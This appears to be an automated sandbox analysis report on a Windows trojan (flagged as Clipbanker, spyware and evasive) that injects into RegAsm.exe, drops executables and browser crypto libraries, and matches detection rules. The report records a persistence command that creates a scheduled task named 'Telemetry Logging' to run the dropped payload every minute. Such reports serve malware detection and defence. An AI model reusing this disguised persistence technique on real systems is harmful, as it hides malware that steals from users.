Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA785F0	6_2_6CA785F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA50DD0	6_2_6CA50DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA2FD00	6_2_6CA2FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA3ED10	6_2_6CA3ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA40512	6_2_6CA40512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA74EA0	6_2_6CA74EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA7E680	6_2_6CA7E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA35E90	6_2_6CA35E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA876E3	6_2_6CA876E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1BEF0	6_2_6CA1BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA2FEF0	6_2_6CA2FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA79E30	6_2_6CA79E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA65600	6_2_6CA65600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA57E10	6_2_6CA57E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA86E63	6_2_6CA86E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1C670	6_2_6CA1C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA34640	6_2_6CA34640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA62E4E	6_2_6CA62E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA39E50	6_2_6CA39E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA53E50	6_2_6CA53E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA677A0	6_2_6CA677A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1DFE0	6_2_6CA1DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA46FF0	6_2_6CA46FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA29F00	6_2_6CA29F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA57710	6_2_6CA57710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA460A0	6_2_6CA460A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA3C0E0	6_2_6CA3C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA558E0	6_2_6CA558E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA850C7	6_2_6CA850C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA5B820	6_2_6CA5B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA64820	6_2_6CA64820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA27810	6_2_6CA27810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA5F070	6_2_6CA5F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA38850	6_2_6CA38850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA3D850	6_2_6CA3D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1C9A0	6_2_6CA1C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA4D9B0	6_2_6CA4D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA55190	6_2_6CA55190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA72990	6_2_6CA72990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA2D960	6_2_6CA2D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA6B970	6_2_6CA6B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA8B170	6_2_6CA8B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA3A940	6_2_6CA3A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA122A0	6_2_6CA122A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA44AA0	6_2_6CA44AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA2CAB0	6_2_6CA2CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA82AB0	6_2_6CA82AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA8BA90	6_2_6CA8BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA31AF0	6_2_6CA31AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA5E2F0	6_2_6CA5E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA58AC0	6_2_6CA58AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA59A60	6_2_6CA59A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1F380	6_2_6CA1F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA853C8	6_2_6CA853C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA5D320	6_2_6CA5D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA2C370	6_2_6CA2C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA15340	6_2_6CA15340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB1ECD0	6_2_6CB1ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CABECC0	6_2_6CABECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB9AC30	6_2_6CB9AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB86C00	6_2_6CB86C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CACAC60	6_2_6CACAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC4CDC0	6_2_6CC4CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CAC4DB0	6_2_6CAC4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB56D90	6_2_6CB56D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB8ED70	6_2_6CB8ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC48D20	6_2_6CC48D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBEAD50	6_2_6CBEAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB46E90	6_2_6CB46E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CACAEC0	6_2_6CACAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB60EC0	6_2_6CB60EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBA0E20	6_2_6CBA0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB5EE70	6_2_6CB5EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CACEFB0	6_2_6CACEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB9EFF0	6_2_6CB9EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CAC0FE0	6_2_6CAC0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC08FB0	6_2_6CC08FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CAC6F10	6_2_6CAC6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB82F70	6_2_6CB82F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CC00F20	6_2_6CC00F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB2EF40	6_2_6CB2EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBC68E0	6_2_6CBC68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB10820	6_2_6CB10820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB4A820	6_2_6CB4A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB94840	6_2_6CB94840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB809B0	6_2_6CB809B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB509A0	6_2_6CB509A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB7A9A0	6_2_6CB7A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBDC9E0	6_2_6CBDC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CAF49F0	6_2_6CAF49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB16900	6_2_6CB16900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CAF8960	6_2_6CAF8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB3EA80	6_2_6CB3EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB78A30	6_2_6CB78A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB6EA00	6_2_6CB6EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB3CA70	6_2_6CB3CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB60BA0	6_2_6CB60BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBC6BE0	6_2_6CBC6BE0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\CAKKJKKECF.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CC409D0 appears 121 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CA594D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CA4CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CC4DAE0 appears 31 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.2041941108.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.2038257606.0000000000984000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeH vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exeH vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 10.2.CAKKJKKECF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 10.2.CAKKJKKECF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/27@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_6CA77030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

6_2_6CA77030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00418120 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

6_2_00418120

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00413230 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

6_2_00413230

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5416:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3716:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6632:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: CAAAFCAKKKFBFIDGDBFH.6.dr, DAKFCGIJKJKFHIDHIIIE.6.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000006.00000002.2222160262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\CAKKJKKECF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\CAKKJKKECF.exe "C:\ProgramData\CAKKJKKECF.exe"
Source: C:\ProgramData\CAKKJKKECF.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
